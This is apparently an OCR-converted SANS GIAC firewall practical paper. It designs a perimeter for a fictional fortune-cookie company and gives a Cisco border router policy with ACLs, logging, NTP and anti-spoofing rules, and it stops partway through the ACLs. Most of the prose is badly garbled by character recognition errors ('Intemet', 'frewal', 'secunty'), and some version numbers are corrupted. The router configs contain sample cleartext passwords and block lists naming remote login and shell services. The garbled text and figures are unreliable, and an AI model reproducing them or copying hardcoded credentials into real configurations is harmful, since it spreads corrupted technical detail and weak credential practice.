CERTIFICATIONS

Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.


http://www.giac.org
http://www.giac.org

SANS Institute

Firewalls, Perimeter
Protection, and VPNs

Prepared by Gary Smith

Lonestar SANS ||
Version 1.5e

© SANS Institute 2000 - 2005 Author retains full rights.



Overview

Assignment 1

Security Architecture

Define a secunty architecture for GIAC Enterprises, a growing Intemet startup that expects to ean $200 milion
per year in onine sales of fofune cookie sayings, and which has just completed a mergerfacquisiion. Your
archieciure must spedy fitering routers, frewalls, VPNs to partners, secure remote acoess, and intemal firewals.
Be expliot about the brand and version of each perimeter defense component Produce a diagram or set of
dagams with explanatory text thet define how to use perimeter techndogies 1o implement your security
architecture.

Assignment 2

Security Policy

Based on the secuity architedure that you defred in Assignment 1, provide a security poicy for AT LEAST
the folowing three components:

Border Router
Primery Firewall
VPN

Assignment 3

Audit Your Security Architecture

You have been assgned to provide technical support for a comprehensive information systems audit for GIAC
Enterprises. You are required to audt the Primary Frewal desaibed in Assignments 1 and 2. Your assignment
s tor

Plan the assessment. Describe the technical approach you recommend to assess your perimeter.
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Implement the assessment. Validate thet the Primary Frewal is actually implementing the security policy.

Conduct a perimeter analysis. Based on your assessment (and referring to data from your assessmen),
analyze the perimeter defense and make recommendations forimprovements or altemate architectures.

Assignment 4

Design Under Fire

Select a nework design fom a previously posted GCFW praciical.
Attack the firewall for vuinerabities.

Descrive the countermeasures to mitigate the denial of service atiack.

Descrive the process to compromise a target through the perimeter system.
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Security Architecture

Introduction

GIAC Enterprises is a growing Intemet startup that expeds to eam $200 milion per year in online saes of
fotune cookie sayings, and which has just compleled a mergeriacquisiion.  Recent advances have  substantaly
increased web trafic. These indude Forune Delivery Sysems& (FDS) such as the Fortune Bageld in New
Yok Cty and te Forure Croissantd in France. In addiion, a press release by the Dalai Lama regarding
the exodlent qualty of GIAC's fortunes has increased the attention of Truth Seekers fom around the word on
GIACs web ste. GIAC Enterprises is concemed about the increase in demand for its sayings and profection
of its research and development efforts in FDS.  GIAC Enterprises has confracted with its Intemet Services
Provider (ISP) ACME to provided a Secury Archiecture o proedt its network whie providing acoess to
parners, customers, employees, and the Woid Wide Web.

Executive Summary

GIAC Enterprises, a growing Intemet startup, has contracted with its Intemet Services Provider, ACME, to
construct a securty architecure to protect its network whie providing access to business parners, customers,
employees, and the Wold Wide Web. GIAC Enterpises has a stong commitment o Open Source Softwere
and Common OfThe-Sheff (COTS) hardware solutions and requested ACME provide soluions utiizing these
components where ACME deems they are appropriate.  ACME has created a security architeciure: embodying
the ACME design prindples of Integration, Flexibiity and Extensibiy, and Retum on Invesiment

Core Design Principles

ACME's core design prindples are Integraion, Flexibiity and Extensbiy, and Refum on Invesiment
Integration

When addressing security requirements, the enterprise must be considered as a whoe.  The oplimal solufion
should address securty across al layers of the computing infrastruciure.

Flexibility and Extensibility

Information Technology Infrastruciures are constanty evoving as e organization grows and technology advances.
An extensble soluion must be boh fiexide and adapiable b changes in the envionment wihout compromising
the securty architeciure.

Retum on Investment
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Everyhing has a oost assodated wih it and so does secuity. \When andyzing these costs, consideration must
be gven not only o the investment in the soluion but aso to the investment in implementation and
maintenance.

Report Scope

The soope of this report is a nework securty architedure safisfying the security needs of GIAC Enterprises
and representng the core design principles of ACME.  The soope of this report does not indude

Disaster Recovery
Informaiion Department siafing

Sectriy polcy & trelales t acoeptable use by the ermployess, agerts, or parners of GIAC Enlerprises
Datzbese Secury

Physical secuiy witin GIAC Enterprises faciies

Security Architecture

GIAC Enterprises is a growing Intemet startup that expeds to eam $200 miion per year in onine sdes of
foune cookie sayings. GIAC Enterprises has a strong commiment to Open Source Software and Common
OfThe-Sheff hardware soluions.  ACME is worldwide provider in these areas and congratulates GIAC
Enterpises in it choce in this aea.  ACME can provide any level of assisiance GIAC Enterpises might
requie in tis area. Based on this requirement and others communicated to ACME in a lenghy interview
process wih the staff of GIAC Enterprises, it parners and customers, ACME submits the folowing security
architeclure for GIAC Enterprises network known as the FORTUNES network.
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Security Architecture Components

To suoceed, a securty architedure must encompass these aress:
Network
Operating System
Application

The folowing network components provide a layered solufion for GIAC Enterprises addressing each component
fo provide a secure and integrated  architeciure.

Cisco Border Router

The fist lne of defense in a secury architedure is a border router. This is the point at which defense
against the bad guys begins. It shoud be pointed out that not every threat can be eliminated but the securty
archieciure can be constucted to slow the bad guys down. In a routerfirewal combination, the router does
not duplicate the frewal's ruebase. Rather, they should work together. Some rues may be dupicated such as
blocking criical services, but in most cases router Access Contrdl Lists (ACLs) and firewal rulebeses should
complement each other.

Some of the funcions of a border router are

Antispooiing

Block private addressing

Control ICMP trafiic

Block source routing
In preparation for this repot, ACME reviewed the trafic history of GIAC Enterprises for the pest calendar year.
ACME found the inbound Intemet trafic to be both sporadic and aperiodic. The most inbound trafic to GIAC
Enterprises was around the hoidays of New Years, Chinese New Years, Vaenines, Easter, the month of
June, Thanksgving, and Christmas. Outoound Intemet trafic folows a typical business patiem: staring at 7:00
AM, rising to a pesk at 1000 o 11:00 AM, faling between 1100 AM and 100 PM, rsing to a pesk
betveen 200 PM and 4:30 PM, and faling off between 500 PM and 700 PM Monday through Friday.

Duing the calendar year under consideraion, ACME measured peak utizaion of 26% on GIAC Enterprises’
dreut, a T1 conneciion. From interviews conducied with GIAC Enterprises’ staff on the expected growh rate of
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its business, ACME does not beleve the T1's speed of 15 Mbls wil be sufident GIAC Enterprises should
consider upgrading o a 45 Mbls T3 connection. ACME recommends GIAC Enterprises upgrade its router
fom a Cisco Systems 2620 router to a Cisco Systems 3640 router running 10S 122 or whatever is the
latest stable reease at the fime of purchese.  The Infemet conneclion to the router wil be via a High Speed
Serid Interface (HSSI), the LAN conneclion, via FastEthemet  The tadedn vaue on a Cisoo Sysems 2620
router is rather low. t might serve a useful pupose wihin the FORTUNS network.

Whie not an immediate requirement, GIAC Enterprises has expressed a desie to have redundant connections
fo the Infemet in its fulre. Two Cisco Systems 3640 routers rumning 10S 122 or the laest siable release
and Cisoo's HokStandby Routing Protocol (HSRP) option, a Cisco Systems 2912XL swich connecing the two
routers and an addiional Infemet connecion wil provide the funclionality required. It should be noted thet
HSRP does not provide load balandng across the two routers. Since the second Intemet connecion is present
fo provide connecion redundancy, ACME recommends a slower line for tis connection, a T1 perhaps. ACME
can assst GIAC Enterprises in the upgrade and configuraion of these routers and switches when it feels te
fime to transiion is appropriate.

Table 1 Border Router Configuration

ltem Description

Cisco Systems 3640 Router with I0S 12.2 | Border Router
Operating System

High Speed Serial Interface (HSSI) Intemet Connection Interface
FastEthemet Interface Local LAN Connection
T3 Intemet Connection Connection to the Intemet

Second Cisco Systems 3640 Router with | Optional
IOS 12.2 Operating System

Second High Speed Serial Interface (HSSI) | Optional
and FastEthemet Interface

T1 Intemet Connection Optional
Hot-Standby Router (HSRP) option Optional
The Firewalls
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A frewal is the central point in a secuity archieciure. This is where o stop the bad guys. The frewal is
designed 1o spediicaly protect the perimeter. The frewal is nothing more than the technical implementaion of
the secury poicy. The securty poicy detemines what the frewal should alow. It is aificd o have a wek
defined security policy in place before planning and implementing the frewall archieciure. Some of the funclions
of a frewal are

Fier undesirable packets
Log interesting Intemet events
Be a central funneling point for communications into and out of the enterprise

GIAC Enterprises has a stong commiment to Open Source Software and Common O The-Sheff (COTS)
hardware solutions and requested ACME provide solufions uiizing these components where ACME deems they
ae gppropriate. One such place is te frewal. Fast and inexpensive processing power is readly avaiable today.
ACME recommends a CPU of at least 1 GHz from eiher Intel or AVD. Computer memary is exceptionaly
inexpensive. ACME recommends at least 512 MB for the main memary of the frewal. This wil provide ample
buffer space for packets and state table information about those packets. Disk space is required to had the
operating system, uiiiies, applcatons, and log fies. ACME recommends at least 20 GB of disk space, most of
which wil be used to contan log fies. Maxior, Seagate, and IBM al make dsks in this size dass. For the
pimary frewal, four Ethemet interfaces wil be required for the router connection, DMZ  connection, VPN
connecion and local LAN  connecion. ACME recommends thet al the interfaces be the same; ACME
recommends the Nefgear FS310X 10100 Ethemet interface. The video requirements of frewal are typicaly not
very high. A PCl video card wih the S3 Vige DX chipset is acoepiable and supported by many popular
Open Source operaing systems. A standard keyboard, mouse, monitor, and fower case complele the main
frewal connected to the router. The second infemal frewal wil have the same hardware exoept it wil have
only two Ethemet interfaces. For the COTS<challenged, a suittble PC similar to this can be purchased through

ACME.
Table 2 Firewall Hardware

ltem Description
1.2 GHz AMD Athlon Processor CPU
Tyan Trnity KT-A Motherboard System Motherboard
512 MB memory System Memory
20 GB Maxtor, Seagate, or IBM Disk Operating system. Utilites, Applications, and
Drive Log file storage

Netgear FS310X 10/100 Ethemet Interfaces | Ethemet interfaces; 4 for the primary
firewall, 2 for the secondary firewall

S3 Virge DX graphics card Display controller
Keyboard and mouse Input  devices
Floppy Disk Drive Removable media device
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Monitor

Display device

Tower case

System case

The heat of the frewal is its operating system and fiteing sofware. ACME recommends FreeBSD and
IPFILTER over Linux and ipiables for the folowing reasons. The Linux 24 kemel wih iptebles is not as yet
siable in comparison fo the FreeBSD 43-STABLE and IPFILTER. Also, FreeBSD offers mechanisms o seoure
the sysem not found in Linux. In addiion, ACME recommends using OpenSSH verson 220 or higher for
secure conneciions 1o the frewal. Other software recommended for managing the frewal are ynx 2831
textual web browser, vimite 5724 editor, bash 204 shel, and Tripwie hostbased infrusion defecion system
2312. The secondary frewal wil have the same sofware complement and the Firewal Tookt (FWTK) 2.1.

Table 3 Firewall Software

ltem

Description

FreeBSD 4.3-STABLE Operating System

Firewall operating system, utiliies, and
applications

IPFILTER 34.17

Packet filtering and Network Translation
package

lynx 2.8.3.1 Textual Web browser

vimHite 5.7.24 Full screen text editor

bash 2.04 Command interpreter

Tripwire 2.3.1-2 Host-based intrusion detection package
FWTK 21 Proxy firewall package

VPN Gateway

GIAC Enterprises hes chosen fo implement a Vitual Private Network (VPN) to communicate with partners,
suppiers, and oonractors and as a testofooncept A VPN funnel over the Intemet offers many  benefits.

AVPN can be set up rapidly whereas a frame relay arcuit can take weeks.

VPNs can pay for themselves in a matter of weeks or months

Diakup oosts can be reduced or be eiminated.

Modems and modem banks can be eiminated.
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In keeping wih the requirement to use COTS hardware and Open Source Sofware where reasonable, ACME

proposes @ VPN simiar to the secondary frewall.

Table 4 VPN Gateway Hardware

ltem

Description

12 GHz AMD Athlon Processor

CPU

Tyan Trnity KT-A Motherboard

System Motherboard

512 MB memory

System Memory

20 GB Maxtor, Seagate, or IBM Disk
Drive

Operating system. Utilities, Applications, and
Log file storage

Netgear FS310X 10100 Ethemet Interfaces

2 Ethemet interfaces, one to the primary
firewall; one to the intemal LAN

S3 Virge DX graphics card

Display controller

Keyboard and mouse Input  devices
Floppy Disk Drive Removable media device
Monitor Display device
Tower case System case

To complee the requirements of using Open Source Sofware, ACME recommends creaing @ VPN using
Pointto-Point Protocol (PPP) over Secure Shell (SSH). This arangement wil alow GIAC Enterprises to
communicate with its customers, parners, and suppliers wihout some of the problems of interoperabiity beiween
diferent VPN soluons and serve as a suigble platiorm to test using VPNs. Based on the relaive sucoess of
tis VPN, GIAC Enterprises wil consider other VPN soluons, both Open Source and proprietary.

Table 5 VPN Gateway Software

ltem

Description

FreeBSD 4.3-STABLE Operating System

Firewall operating system, utilites, and
applications

OpenSSH 2.2.0 Network connectivity package

lynx 2.8.3.1 Textual Web browser

vimHite 5.7.24 Full screen text editor

bash 2.0.4 Command interpreter

Tripwire 2.3.1-2 Host-based intrusion detection package
sudo 1.54 Allows an appropriate user to execute a

program as the superuser
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pty-redir Creates a pseudo-terminal on the branch
office in which to run SSH and output the
name of the pseudo-terminal for later use

Point-to-Point Protocol daemon (pppd) 24.1 | Communication protocol package

DMZ Systems

GIAC Enterprises DeMitarized Zone (DMZ) consists of a World Wide Web Server avalebe to the Intemet at
lrge, @ mal sever and a DNS server. The Woid Wide Web Server provides markeing information, GIAC
Enterprises career information, and free fortunes. The mal server accepts email tofrom the Intemet and
fowards it on to appropriate mai redpeents. The DNS server is the master DNS server for GIAC Enterprises
o the Inlemet

Syslog Server
ER=|

The sysg sever is the collection point for al the syslog messages in GIAC Enterprises. Analysis of sysiog
messages is accomplished using the swaich program. Al messages direded o the server are also printed on
the prnter atiached to a serid pot on the server. This provides a hard copy of acivy that can not be
deeted by an intuder.

IDS Server

Inrusion defection is a fundamental requirement in today's business envionment. In keeping with the requirement
of using Open Source Software, ACME proposes an Infrusion Defecion System (IDS) besed on Snot. Snort
s a lighweight nework intusion detection system, capable of performing reaHime trafic analysis and padket
logging on P networks. Open Source enaryplion tools are used o secure the transfer of data to the IDS

12
© SANS Institute 2000 - 2005 Author retains full rights.



sener. Two packages, OpenSSL and Stunel wil be used to accomplish tis. To access the data for analyss,
intrusion events defected by Snot wil be kept in a MySQL databese.

13
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Table 6 Intrusion Detection Software

ltem Description
Snot 18 Lighweight network infrusion detecion system
OpenSSL 0960 Enarypon sofwere
Stunel 3.14 Mulilatform  tunneling proxy
MySQL 323.39 Database package

Intemal Servers

GIAC Enterprises maintains a set of senvers andlogous o the extemal severs on the Infemet, a web senver,
mal senver, and DNS senver. The web server provides intemal information such as Human Resources forms,
company drectory information, and company bullefins. The mal server hosis the infemal maiboxes of GIAC

Enterprises employees and confractors and accepisifelays mal fomio te Intemet The DNS server provides
host namefaddress resoluion for the infemal company computers.

Time Server

Time synchronization is vitaly important for networked computers. ACME has seen instances of Network Fie
Sysem (NFS) instabity in Unix systems when there wes a smal fime dit between dients and senver.
Sofware development revison control and databese operations are afiedied by tme it between dient and
senvers. Infusion tiage is made easer when al systems are in fime synch. Inexpensive equipment is now
avaldbe o receve radio staions VWW and VWWH operated by the National Insfitte of Standards and
Technology (NIST).

14
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Mobile Users

]
Y 4

To compete in the forune market, GIAC Enterprises has a staff of Sdes Assodates ammed with lapiops.
These lapiops run RedHat Linux and verious programs developed intemally within GIAC Enterprises for use by
the sales force. In addiion to the partner, customers, and suppliers that wil be using the VPN, the Sales
Assodates wil dso be users of the VPN

Additional Systems

The complement of systems in the FORTUNS network are user workstaions, an NFS fle server, database
sever, ad a badkup senver.

The Secuity Archieciure designed for GIAC Enterprises by ACME represents a netwok fulfis the ocore design
gods of Integration, Flexibiity and Extensbity, and Retum on Investment

15
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Security Policy

Introduction

Folowing the Securty Architectire presented to GIAC Enterprises by ACME, its senvice provider, GIAC
Enteprises contracted wih ACME fo devise a Securty Policy for that Security Architecture. The contract
slipulates thet the Security Policy wil cover at a minimum the configuraion of the border router, primary firewal,
and the VPN.

Executive Summary

GIAC Enterprises, a growing Intemet startup, has contracted with its Intemet Services Provider, ACME, to
construct a Security Poicy besed on the Security Archileciure provided to it To meet the requirements of GIAC
Enterprises, the Securty Poicy must at a minmum oontain the configurations for the border router, primery
frewal, and the VPN. GIAC Enterprises has reafirmed it commitment o Open Source Sofware and Common
OfThe-Sheff hamware solutions. ACME has constructed a Security Policy thet satisfies the design goals of the
conract and provides GIAC Enterprises with a fiexidle and extendible Security Policy that protects the assefs of
GIAC Enterprises.

Report Scope

The soope of this report is provide a Securty Policy that indudes at @ minimum
The border router
The pimary frewal
The Virtual Private Network
This report does not address
Physical securtty of GIAC Enterprises installaions
Acceptable use polides of computer equipment and senvices by GIAC Enterprises staff, contractors, agents, or partners
Application security of intemally developed programs, scripls, or macros

Report Goals

The godl of tis mpott s o provide @ securty policy thet
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Considers ease of use versus security

Considers cost of security versus risk of loss

What is a Security Policy and Why Have One?

ACME s frequently asked the quesion, “What i a seaury poicy and why have one? This very quesion s
answered n “The Sie Secury Handbook also known as RFC21%6 avaibe

http://www.ietf.org/rfc/rfc2196.ixt

The securiyelated deasions you meke, or fal o make, as administator largely determines
how secure or insecure your network is, how much funcionalty your nework offers, and
how easy your netok s to use.  However, you cannot make good dedsions about
secuity wihout first defermining what your secury goals are. Unfl you defermine what
your secuity godls are, you cannot meke efledive use of any ooledion of securiy tools
because you simply wil not know what to check for and what resticions to impose.

The Border Router

The fist ine of defense is the border router. This is the point at which defense against the bad guys begins.
A common question that dients ask ACME is “Where do | stat on secuing my router?” An excellent place
fo stat is the paper by Scott Winters, “Top Ten Blocking Recommendations Using Cisco
ACLs Securing the Perimeter with Cisco 10S 12 Routers” available at

http://www.sans.org/infosecFAQ/firewall/blocking cisco.htm. Mr. Winter's paper details how the
ten most important things to consider in writing the ACLs for a Cisco router running 10S
12. A brief summary is presented in Table 7.
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Table 7 - The SANS Top Ten Blocking Recommendations

Description

What To Block

Spoofed addresses, ie. addresses coming from outside
te ocompany wih intemal addesses o pivaie
addresses. Also source routed packets.

See RFC1918

Logn senvioces

telnet (23/tcp), SSH (22/tcp), FTP (21/tcp),
NetBIOS  (139/tcp), the Berkeley “r
commands e.g. rlogin, rsh, etc. (512/tcp
through 514/tcp)

NFS and RPC services

NFS  (2049/tcp and 2049/udp), lockd
(4045/tcp and 4045/udp), Portmap/rpcbind
(111/tcp and 111/udp)

NeBIOS Servioes NetBIOS in Windows NT -- 135 (tcp and
udp), 137 (udp), 138 (udp), 139 (icp).
Windows 2000 — earlier ports plus 445(tcp
and udp)

X Windows 6000/tcp through 6255/tcp

Naming and Diedory Senvioes

DNS (53/udp) to all machines which are
not DNS servers, DNS =zone ftransfers
(53/tcp) except from external secondaries,
LDAP (389/tcp and 389/udp)

Elecronc Maiing Servioes

SMTP (25/tcp) to all machines, which are
not external mail relays, POP (109/tcp and
110/tcp), IMAP (143/tcp)

Word Wide WebHTTP

HTTP (80/tcp) and SSL (443/tcp) except to
external Web servers, may also want to
block common high-order HTTP port

choices (8000/tcp, 8080/tcp, 8888/icp, etc.)

ports below 20/tcp and 20/udp, time (37/tcp
and 37/udp)

Miscelaneous  Services

TFTP  (69/udp), finger
(119/tcp), NTP (123/tcp),
syslog (514/udp), SNMP (161/tcp and
161/udp, 162/tcp and 162/udp), BGP
(179/tcp), SOCKS (1080/tcp)

(79/tcp), NNTP
LPD (515/tcp),

© SANS Institute 2000 - 2005
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ICMP This item assumes that you are willing to
forego the legitimate uses of ICMP echo
request in order to block some known
malicious uses.

Because many of our denfs “stress out’ over router ACL's and do nothing to protect the router, ACME wil
focus on two areas, proteciing the router itseff and protecing the hosts behind the router. The methodology
that we wil use is the “Gemman Prisoner of War Camp® phiosophy, “That which is not expressly permied it
fobidden.” Thet is, we wil disable services and features that ae not needed and enable features that may ad
n poiecing the sysems behind the rouer. The basc methodology ACME wil use is

1. Logins, Privieges, Passwords, and Acoounts

2. Limitlocal access

3. Limitremote acoess

4. Disable SNMP

5. Configure logging and NTP (Network Time Protocol)

6. Otherrouter protections

7. Antrspoofing

8.  Protecting hosts behind the router

A Brief Introduction to Cisco Access Control Lists (ACLs)

Acvess Control Lists (ACLs) on Cisoo routers are the rues that defermine which packets te router routes and
which packets it doesnt For IP trafic, there are o types of ACLs, standard and extended. Standard ACLs
only alow source IP address fitering. Extend ACLs pemit or deny packels based on ther profocos,
sourceldestinaion address, source/destination TCPUDP ports or message type (ICMP or IGMP). In addition,
Extend ACLs support seledive logging. Whie only standard ACLs can be appled to SNMP, standard and
extended ACLs can be appied to router interfaces, Wy lines, IPSec and rouing protocos.

The syntax for an ACL is
access-ist  accessdistnumber {permit | deny} condition
The acoessdistumber tels the router's operaing system, 10S, which access contrdl list the rule should be a

pat of and what kind of ACL it is. The condiion, which is different for each type of ACL spedfies which
packets maich the rue. Condiions involve profocol information and - addresses.

19
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Conventions Used For The Cisco 3640 Border Router
Figure 2 shows the oconventions for the Cisco 3640 Border Router.

Eth0 160.2.36.17 HSSI160.2.36.18
GIAC ACME
Enterprises - <

Border Router
- Figure 2 The Border Route

Logins, Privileges, Passwords, and Accounts

The fist step in sefing up the router is configuing a logn banner. The folowing is just a template banner
and GIAC Enterprises’ legal deparment shouid be consuied on the fnal fom of this banner

banner motd !

********WARNING*************

THIS SYSTEM IS RESTRICTED TO AUTHORIZED USERS FOR AUTHORIZED
USE ONLY. UNAUTHORIZED ACCESS IS STRICTLY PROHIBITED AND MAY
BE PUNISHABLE UNDER THE COMPUTER FRAUD AND ABUSE ACT OF
1986 OR OTHER APPLICABLE LAWS. IF NOT AUTHORIZED TO ACCESS
THIS SYSTEM,DISCONNECT NOW. BY CONTINUING, YOU CONSENT TO
YOUR KEYSTROKES AND DATA CONTENT BEING MONITORED. ALL
PERSONS ARE HEREBY NOTIFIED THAT THE USE OF THIS SYSTEM
CONSTITUTES CONSENT TO
MONITORING AND AUDITING.
************WARNING*************

To log in on te consdle requires a local usemame. Each indvidual having a need o logn o the router wil
be suppied wih a loca usemame and password. Separate usemames wil faditate fracking of events through
loggng. The syntax of the command o creale a usemame is

usemame name privilege level password sting

Loca logns are ceated for wo of system administatos in GIAC Enterprises, Howard Johnson and Van
Johnson.

username hjohnson privilege 1 password N0g33ksRfr33ks
username vjohnson privilege 1 password 0n10n5sma3ll

20
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Cisoo 10S has 16 prviege levels rangng fom 0 o 15. User EXEC mode is piviege level 1 and “enabled”
mode, andlogous o ‘oo’ or “superuser” on Unix, is priviege level 15. There are some commands in IOS that
shoud be at a higher piviege level. The folowing moves those commands to a higher piviege level.

privilege exec level 15 connect

privilege exec level 15 telnet

privilege exec level 15 rlogin

privilege exec level 15 show ip access-lists
privilege exec level 15 show access-list
privilege exec level 15 show logging
privilege exec level 1 show ip

The last command moves the show ocommand back o exec levd 1.

To protect the prvieged EXEC mode, gve the mode a password unique and disiindt fom al others
enable secret 3lv1sR0Ock5m3g00d

To protect your passwords fom the roving eyes, enable password protection.

service password-encryption

There are two password protecion mechanisms in Cisco [0S, Type 7 and Type 5. Type 7 is the Cisoo-
defined enarypiion algorithm that is known o be weak Type 5 uses an MD5 hash thet is considerably
stronger. Cisoo recommends using te Type 5 enaryplion over Type 7 enaryplion where possile.

Limit Local Access

The sysiem oconsoke (oon) is the default location for managing the Cisco router. |t is acoeptable o have a
femind or simiar device connecied o the console port on a pemanent basis but the access to the consdle
must be secured. The folowing commands wil set up te consde port wih an inaciy ime-out of 5 minutes.

line con 0
transport input none
login local
exec-timeout 5 0

Limit Remote Access

The awday pot () is fequenty comneded o a modem and should be discbied. The folowing disabes the
audary pot Noe te inachily fmeaut s set © zeo and the pott is set ‘o exed.

line aux O
transport input none
login local
exec-timeout 0 1
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no exec

It is not aways convenient to stand in front of the system consdle to manage te router. Remote
management can be done via a tenet connecion o the Wiy,

The fist three statements defre an ACL that wil be used to secure for the remole consoe. Only two
intemdl staons are alowed o connedt o the remote console and connecions wil be logged as delineated by
the fist wo statements. The thid statement prevents any other stations fom connecting o the remote console
and logs the atiempt Next, the inadivity ime-out is set o 5 minues. With login local sef, a usemame and
password wil be requied 1o login. Finally, the transport input telnet resticts access to the remole console
fo only tehet and not other less secure protoodls such as rogin and web.

no access-list 100
access-list 100 permit tcp host mngmnt_ip1 any eq 23 log
access-list 100 permit tcp host mngmnt_ip2 any eq 23 log
access-list 100 deny ip any any log
line vty 0 4

access-class 100 in

exec-timeout 5 0

login local

transport input telnet

exec

Disable SNMP

The Simpe Network Menagement Prooodl (SNMP) s frequenty used for remole adminisiaion and moniorng,
From intenviews wih the seff of GIAC Enerprises, ACME keamed SNMP is not deployed witin the
FORTUNS network Based on that inomation, ACME. recommends the folowing setp o dissbe SNMP on
the border rouer,

The first two statements disable the standard SNMP communities, public and admin. The
next two statement clears ACL 44 and defines a very restrictive ACL. The next statement
creates a hard-to-guess community string and applies the previous ACL to it. The next
statements disable SNMP trap and SNMP shutdown features. The last statement shuts
down the SNMP server on the router.

no snmp community public RO

no snmp community admin RW
no access-list 44

access-list 44 deny any

snmp community j1kd0gf0i-0 ro 44
no snmp enable traps

no snmp trap-auth

no snmp system-shutdown

no snmp-server
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Logging and NTP

Logging of events is important for network forensics. Cisco 10S can direct log messages in fve ways detaled

below:

1. Console Logging —Log messages are sent to the console.

2. Terminal Line Logging—Any exec session on any teminal ine can be configured 1o receive log messages.

3. Buffered Logging—Cisoo routers can be configured to store messages ina memory bufier. This information is avaiiable only

from exec sessions and is deared when the router reboofs.

4. Sysiog Logging—Cisoo routers can send log information to a property configured Unix syslog server. A sysiog server accepis
messages and stores them in fies. The previous three forms of logging are not persistent whereas sysiog loggingis.

5. SNMP Trap Logging —Cisoo routers can generate SNIMP trap messages.

Cisoo I0S messages are categorized by severity level. The lower the message number, the more aiical the
seveity is. The severty levels are gven below in Table 8.

Table 8 - Cisco Log Message Severity Levels

Level Level Name Description Example
0 Emergendes Router becomes usable | 10S could not load
1 Aerts Immediate acion needed | Temperaiure too high
2 Critical Criical condifion Unable o alocate

memary
3 Emors Enor Condition Invaid memary size
4 Wamings Waming Condition Crypto operation faled
5 Nofications Nomal  but important Interface state change
event

6 Informational Information message Packet denied by It
7 Debugging Debug message m orly f debug s

© SANS Institute 2000 - 2005
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For best secury, enable both console logging and syslog logging. This is shown in the folowing steps.
This ums on oonsoke logging at level 5, which means important messages Wil go the consde.

logging console notification
logging on

For buffiered logging and other forms of persistent logs, recording the tme and date of the logged message is
very important Cisco routers have the abiy to timestamp their messages, but it must be tumed on explictly.
This is shown in the setup for buflered logging.

This sefs te log bufer sze b 16K byles of inometiondl logging, ie, level 5. Enies wil be tmestamped wih
the locd fme and the date.

logging buffered 16000 information
service timestamp log datetime localtime

Sysog logging provides persistent logging to fies on a dedicated syslog server. Syslog has been avaieble on
Unix and its dervaives and Windows NT and Windows 2000. For a routers such as the border router
connecied o the Infemet, it is highly desrable to configure o syslog servers. The configuraion for logging is
show below.

The frst statement insures timestamps wil have the local date and time. The next two Ines set up the logging
o the two sysog servers. The fourth line defines the fadiity level that the router wil use o report messages
o the sysog senvers.

service timestamps log datetime localtime

logging syslog_server_1

logging syslog_server_2
logging facility local6

Ordineriy, Cisco routers use a fadity of local7 logging. This wil require a modiicaon o the syslog servers
sysog.conf simiar 1o the folowing:

# Save router messages to a log file
local6.” /var/log/b-router.log

This drects the sysiog severs 0 log al syslog messages wih a facity code of localb o the fie  Aarfogh-
routerlog

The border router is configured o fiter syslog messages fom the outside nework. This is shown in the
statement below.

This access Iist fiters and logs any syslog messages from the extema network

no access-list 120
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access-list 120 deny udp any 160.2.36.0 0.0.0.3 eq syslog log

Network Time Proioodl is te standad for fme  synchronization. Wihout fime  synchronizaion  throughout a
netwvork, forensic analysis of events is impossie.

First, some general fime set up.
These staements set our fime zone as Centrd Standard Time and dayiight savings time is honored.

clock timezone CST -6
clock summer-time zone recurring

The folowing configures the border router 1o use authenticated NTP to an NTP senver in the FORTUNS
network. These statements set up NTP o use MD5 authentication with the local NTP senver.

ntp authenticate

ntp authenticate-key 1 md5 FC152E535AECOD 7
ntp trusted-key 1

ntp access-group query-only 130

ntp server ntp_server key 1

This ACL pemis access o the loca tme senver.

no access-list 130
access-list 130 permit host ntp_server
access-list 130 deny any

Other Router Protections

Cisco routers support many senvices that can be disabled o improve the security of the router. Disabling these
senvices does not mean the protocdl wil not be supported on the network. It means, instead, the router wil
no provide those sevices. The folowing disables questionable services and protocos.

no cdp run

no ip source-route

no ip classless

no service tcp-small-serv
no service udp-small-serv
no ip finger

no service finger

no ip bootp server

no ip http server

no ip proxy-arp

no ip directed-broadcast
no ip unreachable

no ip redirect

no ip mask-reply

Anti-spoofing
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At no pont in fime should packels amve at the extemal Intemet interface with addresses of the intemal
netvork or certain wekknown or reserved addresses. When this oocurs, the router is being spoofed. ACLs wil
be used o deny and log this type of event

Cisoo Disoovery Protocol (CDP) is @ propriefary protocol used by Cisco routers to identfy each other. This
needs to be disabled. IP source rouing is a mechanism by which padckes can specfy routes. IP source
roufing is frequenty used in attacks and needs to be disabled. Disable dassless rouing UDP have senvices in
the low pot range thet are of questionable value such as chagen and discard. These “smal senvioes” are
disabled. Disabing the finger server prevenis extemal users fom determining who is logged in 1o the router.
Cisoo routers are capable of acing as boofp load hosts. This should be disabled. Cisco routers support web
based administation through the HTTP protoool. This should be disabled. A Cisco router can act as a proxy
for Address Resoluon Profocdl (ARP) requests. This hes the potential o leak infemal LAN address to the
Intemet. This feature is disabled. Directed broadcasts can be used in some denid of service attacks. Disable
this feature. Network mapping techniques used by hackers employ ICMP unreachable, rediect and maskeply
packets. Disable these features.

This denies anything from the infemal network on the extemal intexface.

no access-list 140
access-list 140 deny ip 192.168.0.0 0.0.255.255 any log

Deny anyhing coming fom the local interface.
access-list 140 deny ip 127.0.0.0 255.255.255.255 any log
Deny class D and E networks.
access-list 140 deny ip 224.0.0.0 15.255.255.255 any log
access-list 140 deny ip 240.0.0.0 7.255.255.255 any log
Deny the RFC 1918 reserved addresses.

access-list 140 deny ip 10.0.0.0 0.255.255.255 any log
access-list 140 deny ip 172.16.0.0 0.15.255.255 any log

Protecting Hosts behind The Router

Varous sevices need 1o fitered out eiher because of they ae “Inemet noise” or they pose a threat o
intemal hosts.

These four ACLs fller out the Infemet noise of Mirosolt netbios tafic and any padkets for Unix Remoke
Procedure Call (RPC).

access-list 140 deny udp any any range netbios-ns netbios-ss
access-list 140 deny tcp any any range 135 139
access-list 140 deny tcp any any eq sunrpc
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access-list 140 deny udp any any eq sunrpc

Heving seaured the router, AOME has defiied the folowing ACLs for the border router based on the secury
polcy and busiess needs of GIAC Enterprises.

Most TCP tafic is over connecions that have been established. The fist statement oplimizes performance for
any packels coming in over estabished conneciions. The next four statements permit mail (smip), world wide

web (htp), secure hip (port 443), and secure shel (ssh) from any extemd host o the frewal. The next two
statements alow passve mode FTP. The next two siatements alow the Doman Name Senice (DNS) lookups
and zore transfers. The final two statements in the ACL deny any other TCP or UDP senices not previously
defined.

TCP or UDP senice not previously permitied.

access-list 140 permit tcp any any established

access-list 140 permit tcp any host 160.2.36.16 eq smtp
access-list 140 permit tcp any host 160.2.36.16 eq http
access-list 140 permit tcp any host 160.2.36.16 eq 443
